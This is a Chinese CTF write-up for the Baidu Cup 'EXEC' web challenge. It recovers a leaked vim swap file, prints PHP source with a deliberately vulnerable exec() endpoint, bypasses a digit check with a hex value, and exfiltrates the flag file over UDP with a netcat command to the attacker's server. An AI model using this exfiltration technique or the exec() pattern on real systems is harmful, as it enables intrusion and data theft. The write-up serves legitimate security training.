欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

百度杯CTF比赛 十月场-------EXEC

程序员文章站 2022-04-08 17:57:35
...

===============================

个人收获

1.命令盲注

2.vim文件泄露

3.nc的使用

 

================================

 

题目:

百度杯CTF比赛 十月场-------EXEC

 

查看源码出现这个,猜测为vim文件泄露

百度杯CTF比赛 十月场-------EXEC

再浏览器输入.index.php.swp果然出现下载连接

百度杯CTF比赛 十月场-------EXEC

 

我们把下载来的文件用 vim打开

vim -r  .index.php.swp

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}

这里有一个check函数需要绕过,这个函数会对照number的每个数字,绕过再1-9的范围内就返回错误,但是最后又要==11259375,很明显这里可以用十六进制来绕过即可

里面还有 setcookie('auth','tcp tunnel is forbidden!'); 这段提示说明TCP被禁止不能用curl,而且cmd命令执行后也没有回显,但最前面的注释告诉了我们flag的文件,那么我们直接用nc命令把flag文件下过来,我们需要一台有公网ip的服务器

我们再服务器上运行

nc -u -l -p 55566

然后再题目哪post  cmd=nc -u 你的ip地址 55566 < flag233.php

百度杯CTF比赛 十月场-------EXEC

百度杯CTF比赛 十月场-------EXEC